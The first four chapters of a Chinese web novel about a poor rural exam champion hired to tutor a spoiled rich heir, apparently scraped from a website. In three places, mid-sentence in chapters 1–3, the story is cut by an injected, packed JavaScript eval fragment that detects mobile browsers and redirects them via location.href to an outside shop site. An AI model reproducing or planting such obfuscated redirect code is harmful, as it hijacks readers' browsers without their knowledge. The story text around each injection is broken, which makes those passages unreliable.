《豪门少爷的寒门家教》 1. 第1章 接到出分电话那天,向天问正跟着姑父给乡里的肉联厂收猪。 那天日头很毒,他和姑父在太阳底下打着赤膊,挂在后脖颈的旧毛巾早已被汗水浸透。 姑父给他的旧手机,屏幕碎裂了一角。听筒里炸出兴奋的欢呼声,一颗悬着的心终于落地。 “天问,分被屏蔽了,招办来电话,你总分698,是咱们市的理科状元!祝贺你,祝贺你!” 电话里,陈老师熟悉的沙哑嗓音因激动而哽咽,身旁的姑父也揽住他肩膀直抹眼泪。 向天问挂断电话,立刻向姑父转达老师的叮嘱:“先不能往外说,省里不叫声张,还要报志愿呢。” 姑父高兴地有些不知所措,冲着抬猪过来的乡亲呵呵直乐,都忘了搭一把手。 向天问倒十分淡定,他拉开门闩,翻起栏板,麻利地与大爷一起,把嗷嗷挣扎的二百斤大肥猪塞进车里。 “这棒小伙,啧啧,有膀子力气,!”大爷拍拍他健硕的臂膀,赞叹道,“大高个儿,长得也一表人才,有出息!你爷俩一天能收多少?二百块钱能挣到不?” “哪能挣那么多,开玩笑……”姑父这才反应过来,拍着腿嚷道:“唉呀,还收什么?不收了!赶紧上车,我送你回学校,你老师说了,京大、震华招生的人马上就到!” 向天问冲姑父使个眼色,摇了摇头:“还有两家,收完再走吧?再说,这一身味儿,怎么去学校?” 姑父乐颠颠点头:“成,成!我娃有主意,听我娃的!” 回肉联厂的路上,向天问坐在高栏货车的副驾驶位。热风卷着沙土,从敞开的车窗里灌进来,姑父哼着小曲儿,他却高兴不起来。 向天问从小没妈,爹又是个烂赌鬼,十天半月不着家。要不是嫁到隔壁村的姑姑常回来照顾他,他恐怕根本活不到上学的那天。 他十四岁那年,他爹欠债不还,被一伙厉害的人打坏了、成了个瘫子;丧失劳动能力不说,每个月还得去医院看病拿药,光医药费就得好几百。 所幸向天问十分争气,小学时候就鹤立鸡群,被来支教的老师记住、推荐到县里免费上中学;上高中后更是在县一中一考成名,成为全校老师、甚至县教育局领导眼中的重点培养对象,再也不用为学费发愁。 姑父似乎看出他的心事,手扶方向盘扭头冲他笑道:“娃你操心啥?你考了状元,还能上不起学?哪个朝代都没有的事!” “前年我们村有个女娃考到外省去,还不是京大、震华呢,政府直接派人来给她办补助,按月发钱,连她家都给补助上了;临走村里人非要给她凑路费,你姑还叫我给了一百元哩。你就安心报你的志愿、上你的学……” 迎面而来的热浪,吹得向天问两眼发酸,他垂头暗暗咬牙,低低说了一句:“我没脸要补助。” 姑父愣了一下,想要再说什么,却只张了张嘴,吐出一声叹息。 向天问家不是没受过补助。那年扶贫工作组摸排到他家,了解情况后,政府立即给他家办了低保户、脱贫监测家庭,农业局免费跟他爸签了承包果园的合同,还免息给了一笔启动金。 可他爸拿到这笔钱,连一身衣服、一把挂面都没给他买就跑了。后来他才知道,他爸又拿着贫困证明,以盖房子的名义,去县里的信用合作社借了三万块钱。 一来二去,倒腾了几万块钱在身上,他爸一下“发达了”,居然跑到城里吃喝嫖赌,胡混了大半年。最后被人打坏了,用门板抬回来的。 向天问永远也忘不了,他爸被抬回来之后,村里人骂得多难听。 “我这么大个人了,又是个大小伙子,有手有脚的,哪能再手心朝上问人要钱?”向天问蹙眉看向远处,“我爸欠公家的债,得还;这些年我在外头上学,你和我姑没让他饿死在床上……我总不能当白眼儿狼吧?” 姑父连连摇手:“一家人不说两家话,你这么争气,走到哪,人都说你是我儿,我脸上光光彩彩,心里美得很!” 到肉联厂交了猪、记了帐,姑父带他回家吃饭、洗澡,换了身衣服,就催他赶紧坐车回县一中。 午后时分,通往县城的公交车上只有向天问一个乘客。他仍背着用了十几年的旧书包,书包里头空空如也,他只是习惯背上有这么个东西罢了。 窗外一片片浓绿的麦田划过视野,阳光在面前投下一排令人目眩的光圈,向天问突然陷入如梦似幻的虚浮与迷茫。 以往十几年的人生,从他坐在村小学简陋的课桌前那一刻起,他只为着一件事而活。 学习,考试,考上更好的学校。他没有别的乐趣,也没有别的指望,只有学习。睁开眼学,闭上眼学,连梦里都在做题。 高考结束的那一刻,他感觉心里头一下子空了。考得不错,题很难,但他都会做,然后呢?考上全中国最好的大学,可接下来他要干什么? 此时此刻,这种双脚踩不着实地的感觉愈发明显。向天问无比失落,甚至有些沮丧,他对自己未来的人生毫无感知,甚至不知道要报什么专业。 与京大震华招生办老师一同到来的,还有县、市两级教育局的领导。校长室对面的会议室里,许多张陌生的面孔围满一张长方形的大会议桌。 向天问坐在靠近门的下首,不知为什么,那股若有若无的臭猪味总是时不时钻进他鼻子里。他假装擦汗,快速抬手闻了一下,却什么都没闻到。 班主任老陈两只手攥在一起,紧张而又兴奋地介绍着他的求学经历和一直以来的成绩。说到他的家庭条件,向天问不禁屏住了呼吸。 好在老陈只说他父亲残疾卧床,没提残疾的原因,向天问暗暗松了一口气。 接着,市教育局的领导表态,说这么优秀的学子应该全力求学报国,市里已经决定在生源地助学贷款之外,额外给向同学发一笔“自强奖学金”;他父亲的医疗和看护,也拨专人专款负责,解决他的后顾之忧。 “感谢,感谢政府,感谢领导。”向天问抢在下一位领导发言前开口,“我的学费生活费,还有家里的困难,我自己能解决。这笔钱不用给我,还是留着资助乡里更小的娃们吧。” 一中校长眉头一皱,冲他使眼色道,“天问,你是个有志气的孩子,大家都看在眼里;不过这事儿,你还是听领导安排,不要自作主张,嗯?” 向天问的确有自己的主张。一来他已经打听好了挣钱的门路,二来他不愿让更多人关注他的家庭情况、知道他爸干的那些窝囊事。 还记得中考出分后,他以全县第一的成绩被县一中录取。村支书带着县教育局局长、扶贫办主任和一中校长来他家慰问,他爸居然当着这些领导和屋里屋外众多乡亲的面,对着摄像机镜头,咧开嘴笑道:“屋里头没个女人不行,希望政府赶紧给我续一房老婆、把我照顾上。” 他都忘了那天是如何收场的,众人脸上或鄙夷或戏谑的神情,和那一声声嗤笑,却常常在午夜梦回时将他惊醒。 一想起这事,向天问心里直犯毛,浑身不自在起来。 他深深吸一口气,挺直上身郑重道:“确实不需要国家资助。过两天我就跟我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646942|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑父一起,去给垃圾焚烧厂干活。一个月将近一万块钱,暑假干两个月,学费、我爸的医药费都能挣出来。开学以后,我在学校那边儿再找个活儿干,生活费也有了。” 他的话使得不大的会场陡然安静,人们都没有预料到他会做出这样“叛逆”的举动。 震华大学的招生老师脑子转得快,她看出向天问铁了心不接受无偿帮助,于是顺着他的意思说道:“这个没问题。我们震华在勤工助学这一块有非常成熟的机制。校内就有很多岗位,优先聘用向同学这样品学兼优的学生。” “低年级的时候你可以在图书馆、实验室帮老师做事;到了高年级,还可以当助教、跟着导师做项目。收入能满足基本生活需求,还不耽误学习。” 向天问点点头,向她投去感激的目光。 接下来两天,京大震华的老师们轮番来宿舍找他谈话,向他介绍各自学校的专业特色、招生政策,给他开出了各种各样的优待条件。 可向天问对转专业、保研,这个院士班、那个直通计划之类的话术毫无概念,唯一能打动他的,是京大按文理大类招生,不需要现在就定专业。 震华的老师则主攻勤工俭学,甚至当着他的面给校图书馆负责人打电话,帮他安排好了时薪50的采购助理岗位。 向天问在心里默默盘算,垃圾焚烧厂一个月给9800,可一天要干12小时,月休4天,算下来时薪才30。看来还是大城市来钱快。 “你个子高、形象好,开学之后可以参加校礼仪队,每次活动、彩排都有餐补,入队就发两套定做的衣服。”震华的老师将手机屏幕凑到他面前,“喏,我把你和领导合影的照片发给带队老师,你看,她回复,‘这个人你给我定下来’。” 发衣服,还按套发,向天问不由得十分心动。可心里才刚刚涌起一丝对未来生活的殷殷向往,那股阴魂不散的臭猪味,便又暗戳戳袭来。 虽说不让宣传、不让报道,市理科状元是贫困县寒门学子的消息,却仍不胫而走,吸引了不少追逐流量的自媒体网红,连他拒绝资助的事也不知怎么传扬出去,被剪成小视频大肆渲染。 就在填报志愿截至前一小时,京大的招生老师突然使出杀手锏,打了自以为成竹在胸的震华老师一个措手不及。 “向同学,一位京大杰出校友在网上看到了你的事迹,刚刚给我们打来电话,希望你能在假期里帮他家孩子辅导功课、备战高考。” “暑假两个月,每天3小时,200块钱一小时,包吃包住;如果能在一年后帮学生把成绩提高到本科线,额外奖励20万块。” 简单的算式如同一道闪电划过向天问的脑海:包吃包住,两个月稳赚三万六!干得好的话,一年之后还能再拿二十万。 二十万,一举还清他爸欠公家的钱,还能剩下不少。光是想想,向天问便浑身一轻,紧蹙的眉头瞬间舒展开来。 可天上不会掉馅饼,这么高薪的工作真的会平白落到他头上吗?会不会有什么隐藏的附带条件? “哈哈,向同学,你不用想太多。”京大的招生老师拍拍他肩膀,爽朗笑道,“家长点名要你,不管你最终决定来不来我们京大,这个工作都非你莫属。不过我还是得补充一句,我们京大也有图书馆、礼仪队。” 还有什么理由不报京大?向天问在电脑上提交了志愿,如释重负地走出校长办公室。 京大老师就在楼门外等着他:“向同学,快回家收拾行李吧。学生家长已经给你买好机票,明天一早,我送你去省城机场。” 2. 第2章 向天问从飞机窗口向下望去,连绵不绝的大山好像一坨坨干枯的牛粪,扒在黄绿斑驳的大地上。 曾以为永远也走不出去的巍峨群山,就这样被抛在脚下,这幅画面给他的震撼,甚至冲散了飞机起飞时机身剧烈颠簸带来的恐惧。 飞机降落在大都市的国际机场,那个鼓鼓囊囊的红白两色编织袋,在行李传送带上分外显眼。 大城市给向天问的第一印象,是令他感到不可思议的干净。人来人往的大厅里,连地面都光洁如镜。 他低头看看脚上崭新的战士牌运动鞋,那是昨天姑父知道他要进城后坚持带他买的。 多亏姑父的细心和远见,他不敢想象,要是还穿着那在双猪圈里踩过的旧军训鞋,此时此刻他该有多尴尬。 向天问随着人流走出一道闸口,面前的通道一侧挤满了翘首以待的人。 竟还有个人举着张纸,上面写着他的名字。 那是个留着平头的中年男人,一身合体的带领短袖、西裤,显得精神又干练。看见他后,那人快走几步,来到通道尽头等他。 这应该就是学生家长了,向天问想,穿着和省里来的领导一个档次,能出得起这么贵的补课费,必定不是普通家庭。 “向老师,一路辛苦了!”那人热情地伸手接过他的编织袋。 “向老师”三个字,令向天问心头一颤,一种惶恐又有些雀跃的感觉油然而生。还是第一次有人这样叫他。 “谢谢,谢谢……”向天问看着那人用一只手轻松拎起绝对不算轻的编织袋,“请问您贵姓?” “免贵姓季,季川。您叫我老季、季叔叔都行。” 向天问跟着老季穿过好几米高的玻璃自动门,坐电梯下了一层。老季把他的编织袋塞进大黑车的后备箱,为他拉开后座车门。 向天问坐进车里,顿时深深吸了一口气。好香,冰凉的空气,带着说不上来是什么味道的幽香,好舒服!他全身的每一个毛孔都在大口呼吸。 “喝水吗,向老师?”老季话音刚落,前座中间的位置便自动掀开盖子,里面有六瓶冒着凉气的饮料。 车上有冰箱!这完全打破了向天问对车的认知。他已经局促到不知道怎么拒绝,只得伸手随便拿了一瓶水出来,却握在手里忘了喝。 这车的仪表盘竟然是一整块长条形的大屏幕,上面显示着路线图和车前后左右的实时路况,向天问忍不住盯着细看,看得入迷。 老季并不打扰他,直到他回过神来,发现车已经离开机场,开上公路。 “向老师,您是什么星座的?”老季终于想到话题似的,语气轻松地同他闲聊,却没想到竟把他问住了。 向天问听说过星座这个概念,却并不知道自己是什么星座。高一那年,有个女同学也问过他这个问题,还跟他说了一些意义不明的话,可他当时就没听懂,现在更是一句也记不得了。 “不好意思,我不知道。”向天问只好实话实说,“没研究过这个。” 老季从后视镜里看了他一眼,尴尬地笑了:“抱歉,我冒昧了。您也是属猪的吧?生日是几月几日?” “8月18。”向天问说出自己身份证上的生日,但他究竟是哪天出生的,其实谁也说不清。 他那个缺德的爹,给他上户口的时候根本不知道孩子的生日,只记得是八月里,就随口报了个“吉利”的日子。 “哦,那你是处女座的,比我们少爷大几个月。他天蝎的。” 向天问对星座一无所知,不知道怎么回应,只得勉强提了提嘴角。 不过,“少爷”?城里人都这么称呼自家孩子? 看得出来,老季也不是个健谈的人。接下来一个小时的车程里,两人便都沉默不语。 向天问一直偏头看着窗外高楼林立的城市风景,脖子都扭僵了。 车减速开进一个有保安把守的高层小区,径直驶入地下车库。 老季这才又一次开口:“我们少爷、您的学生名叫蔡衍嘉,是蔡家三少爷,上面有一个姐姐、一个哥哥。” 向天问猛然反应过来:“少爷”姓蔡,这人姓季,不是学生家长。 “少爷回国后就住在这里,除了我之外,还有一个周姨,每天来买菜做饭、打理家务,家里还算清静。不过周姨普通话不好,她讲话您可能听不懂。您有什么需求,尽管吩咐我,我24小时待命。” 所以这个老季,是有钱人家的“管家”? 高考后,向天问回家住这段时间,他爸白天黑夜都抱着个声音巨大的破手机,看那种配乐夸张的短剧。那里边就有“总裁”、“保姆”、“管家”之类的角色,总是上演一些绑架啊、破产啊,孩子抱错了、情侣其实是兄妹之类的庸俗情节。 他突然觉得十分荒谬,早上他还在漫天灰土的山沟沟里负重而行,短短半天之后,他就“穿越”进豪门短剧,来伺候“少爷”了。 老季停好车,带他乘电梯上楼。电梯门前有个半人高的精巧装置,老季一手提着编织袋,另一手往机器里一按,电梯门就自动开启了。 刷卡后,电梯内墙上的数字32亮起。老季客气道:“向老师您放心,衍嘉少爷很好相处,不会为难人。就是比较懒散、贪玩,请您多多督促、严格要求。” “嗯,哦。”向天问答应着,心里却莫名有些紧张,他还真不知道怎么和“少爷”打交道。 出了电梯,老季又用手掌刷开一扇红铜镶金的大门。 “先进来吧,向老师,稍后我带您来录入掌纹和人脸信息。” 映入眼帘的是一个异常宽阔的开间,斜阳余晖从整面落地玻璃窗洒入室内,整个客厅通透又敞亮。 原来真有人住在这样的房子里。向天问深深吸气,接受着与车里不一样的另一种高雅香味的洗礼。 几乎占满一整面墙的电视屏幕上,正在进行中的游戏画面花花绿绿的,十分热闹。一个戴绿色帽子的小人儿开着造型夸张的金色跑车,在崎岖的雪地里飞驰,时不时躲避迎面而来的障碍物,间或撞上一排丁零作响的金币。 大厅正中,有个人蜷缩在形状奇异的沙发里。向天问看不到他的脸,只能瞧见一双十指纤长的手,正握着带按钮的手柄来回摇晃,两条雪白的大长腿,微躬着膝盖搁在地上。 “少爷,向老师到了。” 欢快的游戏音乐声中,“少爷”似乎没听到老季的招呼,毫无反应。 “Vincent!”老季不带情绪地提高音量,“少爷”这才“嗯”了一声,飞快地扭头看一眼,又立刻转回去盯着大屏幕。 这惊鸿一瞥,却着实令向天问吃了一惊:这人长得怪好看的,鼻子又直又挺。 他正发呆,却见“少爷”猛地回头,直直与他对视上了。 “向老师。”蔡衍嘉丢下手柄站了起来,眼里盈满不无惊喜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646943|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑意。 向天问从来没见过这么好看的人,也从来没被这么好看的人盯着看过,一时间面红耳赤,心口扑通乱跳,甚至不敢直视那双水波荡漾的眼睛。 “你好。”他只得把目光停驻在蔡衍嘉尖尖的喉结上,吐出这两个字后,就又词穷愣住了。 两人就这样面对面呆站了好几秒,直到老季出声提醒:“向老师一路辛苦,我先带您去房间看看吧。” 向天问点点头,跟着老季穿过好几间同样宽敞明亮的大屋,来到走廊尽头一扇门前。 “您看住这儿可以吗?小卧室没有阳台,但私密性好、比较安静。”老季推开门,帮他把大编织袋提了进来。 “小”卧室?向天问又涨见识了。这房间进深足有七八米,正当中摆着一张两米宽的大床;整面墙都是顶天立地的大衣柜,书桌、沙发一应俱全;地板砖闪着柔光,甚至看不见砖缝。 老季推开身后一面墙,那竟是个隐藏门。里面是灰蓝色洒金纹大理石铺就的浴室,不仅有洗手池、莲蓬头,窗前还蹲着个有黄铜水龙头的浴缸。 向天问从浴缸旁的窗口向外望去,落日熔金的江面,与不远处几栋银色匕首般的摩天大楼交相辉映。此刻他才对32层的高度有了实感,几乎不敢相信自己要在这么高的地方吃饭、睡觉。 老季似乎看出他的心情,冲他点点头道:“那我就先不打扰了。向老师您稍微收拾一下,一会儿出来吃饭,周姨已经炒好菜了。” “谢谢季叔。”向天问目送老季转身离去,这才深深吸了一口气,又缓缓吐出来。 他拉开红白编织袋的拉链,将里头的被褥卷儿拆开。被褥里裹着两件T恤、两条运动裤,和一套床单枕套。此外还有一个崭新的塑料盆,牙膏牙刷、毛巾内裤等小件塞在盆里。 他扭头看看那张巨大的床,这套从学校宿舍床上撤下来的垫褥,肯定是用不上了;盆是他姑昨晚在村口小超市给他买的,说怕他用别人家的旧盆心里不舒服,现在看来自然也毫无必要——房间里有比县里的公共浴室还高档的淋浴间,他不需要自己打水洗澡。 说到洗澡,向天问突然想起,出发前姑父特意叮嘱他,咱们收猪的身上有味儿、自己闻不出来,在外头坐车、吃饭的时候尽量不要紧挨着人坐,叫人家白你一眼,那滋味可不好受。 他急忙揪起胸前T恤闻了一下,果然有股酸咸汗味。蔡衍嘉香喷喷的金贵模样浮现在眼前,他心里咯噔一下,可不能让人家“少爷”觉得他臭! 好在他洗澡一向很快,现在冲一下不耽误吃饭。向天问迅速把用不上的东西重新卷回被褥里,拿着衣服冲进浴室。 五分钟后,他洗好了澡,换上干净的T恤和校服运动裤,穿过走廊回厅里去。 还没走到餐厅,就听见蔡衍嘉慵懒的声音夹着笑意传来:“……我真服了,一进门就洗澡是什么操作?你要是没说他是老师,我以为谁给我点的男模呢。” 向天问脚下一滞,顿时僵在原地。 虽然不懂“男模”是什么意思,可这话里揶揄的意味明显得不能再明显了。 一瞬间,心头便涌起许多酸苦的记忆。环顾四周,他突然觉得自己很孤独,又很滑稽,像一只冒然闯入人类社会的丑陋动物。 他甚至想,被褥已经卷好,只要把脏衣服塞回盆里,他就可以提着编织袋,悄无声息地离开这里,离开这个本就和他毫不相干的陌生世界。 3. 第3章 向天问正踌躇四顾,老季已透过餐厅隔断的镂空看见了他。 “向老师,来,快请坐。”老季起身拉开蔡衍嘉旁边的椅子,冲他伸了伸手。 他逃无可逃,只好乖乖来到桌边坐下。 “先喝碗汤,周姨中午就开始煲了。”老季从圆桌正中的砂锅里盛出一碗颜色清亮的鸡汤递给他。 向天问赶忙站起来双手接过:“谢谢季叔,您叫我天问吧。” 老季落座后提醒他:“天问,你给家里人发消息了吗,报个平安?” 向天问愣了一下,报平安,向他爸报吗?他爸什么时候关心过他平安与否?根本连他是死是活都毫不在乎。 那一年他刚上小学,有一次放学回家的路上遭遇暴雨山洪,他抱着路旁一棵歪脖子老树不敢动弹,直到半夜雨停了,才抹黑踩着泥泞山路回家。可他到家时,他爸已经关灯睡了,呼噜打得震天响,连一口饭都没给他留。 不过确实应该向姑姑姑父打声招呼,他掏出手机,划开碎裂的屏幕,给他姑姑发了一条:“姑,我到学生家了,吃住都好,你们放心。” 刚把手机放下,就听蔡衍嘉漫不经心似的说:“向老师的手机屏幕坏了。老季,上次买错颜色的那个16 pro,还在吗?” 老季点头意会:“在,等吃完饭,我拿来给向老师用。” 向天问连连摆手:“不用,不用!我这个手机好好儿的,才用了没多久!” 蔡衍嘉衔着筷子头打量他一眼,微微提了提嘴角,目光一闪:“哦,随你。” 向天问这才松了一口气,赶紧低头喝汤。 汤鲜美异常,还带着丝丝回甘,一口下肚,他竟有种心花怒放的感觉。 糖醋小排、萝卜炖牛腩、韭黄炒蛋和豆豉鲮鱼油麦菜,每一道菜都令他胃口大开,他一连干掉两碗饭。 虽然还没吃饱,但他心里已经很满足了。饿得烧心、头晕眼花的日子都过来了,这一顿有荤有素、这么多好菜,夫复何求? 他正准备站起来收拾碗筷,却见蔡衍嘉把碗一推,说“吃饱了”,然后起身便走。 就在这时,咚的一声巨响,吓得向天问浑身一震。 原来蔡衍嘉转身离开时,不知怎么的把向天问随手搁在桌子边沿的手机碰掉了。 几年前的旧款千元机摔在大理石地面上,哪有不坏的道理?向天问赶忙拾起手机,眼睁睁看着屏幕上闪过一排排五颜六色的条纹,最终黑屏、怎么按都没反应了。 “不好意思啊,向老师,我赔你一个新的。”蔡衍嘉语气轻描淡写,“老季,你去把那个手机拿来吧。” 向天问把破手机拿在手里颠来倒去地看。屏幕从上到下劈开两条人字形裂纹,边缘翘起,都能看见里头的排线。要修,也得大修了。 “有重要的照片和资料吗,要不要找个人帮你恢复数据?”蔡衍嘉问他。 “嗯?不用,没事……”向天问嘟囔着摇摇头。 高考后,姑父给他这个手机,是为了不错过学校打来的重要电话。他只加了家里三个人和班主任老陈的微信,甚至从没用它拍过一张照片。 老季递给他一个不大的扁盒子:“抱歉,天问,已经拆封、开过机了。倒是没用过,少爷不喜欢这个颜色。你把SIM卡卸下来换上吧,别耽误跟家里人联系。” 向天问惊魂未定,一时找不到旧手机的卡舱在哪儿,还是蔡衍嘉接过来,帮他用卡针推出卡、放进新手机里。 新手机肉眼可见的精致,暗金色的外壳闪着低调奢华的金属光泽,沉甸甸的压手,比他那个塑料壳的旧手机高级太多了。 界面也很不一样,向天问小心翼翼地在屏幕上划来划去,怎么也找不到微信图标。 一只骨节分明的修长大手又一次伸向他:“要我帮忙吗,向老师?”他只好从命。 蔡衍嘉把餐椅拖近,凑在他身旁教他下载应用、登录账号。蔡衍嘉身上有种沁人心脾的幽香,温柔又慵懒的声音吹进他耳朵里,害得他心悬在半空,连呼吸都小心翼翼的。 忙了好半天,还给姑父打了个电话,向天问的微信终于恢复使用,通讯录列表里还多了个黑白动漫人物头像的新好友。 “谢了……”向天问不知该如何称呼对面这人,“少爷”这两个字怪怪的,他始终叫不出口。 “不客气,向老师。”蔡衍嘉冲他挑眉笑笑,“你的手机本来就该换了,这颜色和你很配。” 这一次,向天问终于鼓起勇气抬头与蔡衍嘉对视,却在那双含笑的眼睛里,看到一抹不加掩饰的得意。 这时他忽然意识到,蔡衍嘉推掉他手机的动作太过刻意,分明是故意的。 “少爷”想施舍他,又要照顾他的自尊心,所以故意演这么一出,把新手机“赔”给他。 不需要,真的不需要。虽然知道蔡衍嘉是出于好意,他心里却十分不是滋味。 向天问搜索新手机的型号,想着等发工资,就把这笔钱还给蔡衍嘉。可页面上弹出的价格,却令他眼前一黑。 一万多?!这玩意儿是金子做的吗? 一分钱还没挣上呢,又欠了一万多!向天问手撑额头,顿时郁闷地说不出话来。 却听老季说道:“少爷,你高考复盘卷做完了吗?给向老师看看,了解一下你的情况?” 蔡衍嘉半张着嘴“啊?”了一声:“现在?明天不行吗?人家向老师刚下飞机。” 向天问一听有试卷,整个人像突然活过来一样。 要说这个世界上有什么东西能让他感到安心、快乐,能一次次将他从最糟糕的境遇里拯救出来,甚至带给他幸福,那就是做题。 此时此刻,他无比需要一张久违的试卷,来让自己忐忑的心落地、纷乱的心绪重新平静下来。 “我不累,晚上没别的事,你拿来我看看吧。”一瞬间,向天问的腰杆都挺直了不少。 蔡衍嘉瞪大眼睛,满脸不可置信地看着他,他却目光坚定、不容妥协。 “诶好好好,我真服了……”蔡衍嘉只好趿拉着拖鞋,一步一晃地带他来到书房。 书房同样有着正对江景的整面落地窗,以及一整面墙的书柜。 腰子形状的大办公桌上,乱七八糟堆满书本和试卷,向天问看了直皱眉:明明这么大一张桌子,怎么搞得连个写字的地方都没有? 蔡衍嘉躬身在纸堆里一阵翻腾,终于抽出一沓试卷,递给向天问道:“喏,是这个吧?应该是的。” 向天问翻开试卷,夹在中间的高考成绩通知单掉了出来。 姓名:蔡衍嘉考生号:…… 准考证号:…… 证件号:…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646944|188184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语文:17 数学:12 英语:98 物理:13 化学:13 生物:15 啊?向天问几乎不敢相信自己的眼睛,这是高考分数?怎么还能考十几分? 他下意识抬头,盯着蔡衍嘉那张无比精致的脸仔细打量,倒看不出智力有什么问题。 “怎么会考17分呢?”向天问忍不住问道,“作文只要你写够字数,哪怕跑题,也会给个二三十分呀!” 蔡衍嘉一脸坦然:“我没看懂作文题目是什么意思,总不能瞎编吧,就没写。” 向天问无语怔住了。翻开这人做的高考真题卷再一细看,他更是两眼一黑又一黑。 除英语外,其他几门的选择题要么全选C,要么全选B;主观题空了一半以上,另一半则是驴头不对马嘴的胡编乱造。 “你为什么不选政史地呢?”向天问又问,“文科有些题目考的是基本常识,你还能多拿几分。” 蔡衍嘉眨巴着一双大眼,理直气壮道:“我从小在国外念书,有些中文字不会写,我写不了那么多字。” 向天问眼角抽动两下,至此有了结论:这人不是智力有问题,是态度有问题。 诚如班主任老陈挂在嘴边的那句话,“学习方法是基础,但学习态度是前提,态度有问题,神仙下凡都帮不了你。” 这笔高薪果然不是那么好挣的。 向天问将试卷按在桌面一角,深深吐出一口气后,以尽可能友善的态度循循善诱道:“我能问你一个问题吗,你为什么想考大学?” 万万没想到,蔡衍嘉却说:“我不想考大学啊!本来家里安排我上哈佛的,谁知道我哥会出那种事,害我被老爷子强行接回来。非要我参加高考、在国内上大学,我怎么可能考得上啊,拜托!你们这些人从刚会走路就开始卷了,我可是零基础诶!” 零基础,不至于吧,向天问心中暗自反驳道。以前他们班同学们压力太大的时候,也会忍不住抱怨,说为什么要学得这么辛苦,人家国外不都推行快乐教育吗?大家都不卷,和大家都卷的效果是一样的,中国人为什么要自找苦吃? 老陈还特意针对这种声音开过一次班会,告诉他们,国外的教育体系两极分化严重,平民教育的确追求轻松愉快,可那些精英、贵族在孩子的教育上丝毫不松懈,卷得程度绝对不亚于我们。平民的“快乐教育”不是不卷,而是卷不起、没资格卷。 这本质上是一种加剧阶级固化的不公平体制,而我们国家的高考,是一个相对来说最公平、最不歧视穷人的选拔方式。对于出身小县城、甚至更贫困地区的他们来说,参加高考可能是他们这辈子唯一一次改变命运的机会了。 蔡衍嘉出身富豪之家,在国外应该也算是“精英贵族”子弟,怎么可能学了这么多年,还是个“零基础”?听说国外的贵族学校一年学费好几十万,难道这些学校不教知识、整天哄着学生玩吗? “怎么可能。你只是没认真对待而已。”向天问几乎要对这个身在福中不知福的公子哥儿失去耐性了,“我建议你改选政史地,我是理科生,帮不了你太多。能给你家长打个电话吗?我跟他们沟通一下。” 蔡衍嘉闻言一下愣住,脸上那种玩世不恭的神情倏地一扫而空,转而露出几分羞赧与窘迫:“我家长……我可联系不上。你去找老季帮你联系吧。” 4. 第4章 向天问在迷宫般的套房里转来转去,心里盘算着,真不该什么都没问清楚就贸然进城来,这工作干不了,他该何去何从?要是家长不好说话,他甚至不知道今晚还能不能有地方住。 心里满是懊恼与沮丧,不知不觉已经第二次路过刚才吃饭的餐厅。所幸老季叫住了他,问他有什么需要。 面对殷勤周到的老季,他总有几分惶恐,只好委婉地说,学生理科基础比较薄弱,建议调整选科,他想给家长打个电话说明情况,他可能帮不上忙。 听了这话,老季似乎并不感到意外,依然客客气气请他坐下、要跟他谈谈。 “向老师……天问,您觉得他数理化基础太差、不好教,是这个意思吗?”老季的笑容带着几分无奈,“其实他文科基础更差。他小时候是菲佣带大的,汉字都不会写几个就出国了。如果改选文科,还得从写字开始教,更没希望了。” 向天问这才明白,蔡衍嘉为什么连明明白白送分的作文都不写,是真的不会“写”。 “其实他没必要参加高考。”向天问只能说得更直白些,“他说他原本可以上哈佛的,没必要‘卷’。” 老季叹了口气,摇头道:“‘原本’是的,现在情况不一样了。我这么跟您说吧,别说上哈佛了,他要是考不上大学,蔡家都不一定认他这个孩子。” 别人家的事,向天问不好多打听,一时不知道怎么聊下去。 老季又说:“蔡先生要求他在国内参加高考、考上本科,否则他不能进家族信托、一分钱也拿不到,甚至护照和信用卡都被没收了。” “可也得考虑现实啊!”向天问觉得这位“蔡先生”根本不了解蔡衍嘉的状况,“一年的时间,他这样的基础,参加中考都不一定考得上高中。” 老季按了按眉心,压低声道:“老爷子向来说一不二,谁敢在他面前讨价还价?别说衍嘉少爷,就是大少爷……” 老季突然顿了一下,向天问想,你不敢得罪老板,我又无所谓,大不了找个桥洞睡一晚上。 “能帮我给‘蔡先生’打个电话吗?我跟他沟通一下。”向天问说。 老季抬手看了下表:“这个点钟……不太方便。有时差,而且老爷子这会儿应该在治疗舱里。您看这样行吗,我帮您联系他的助理,约个时间让他打给您?” 这么麻烦?怪不得蔡衍嘉说联系不上自己的家长……不对,家长又不只有一个。 “学生的妈妈呢?不能通过她和蔡先生讲讲情吗?” 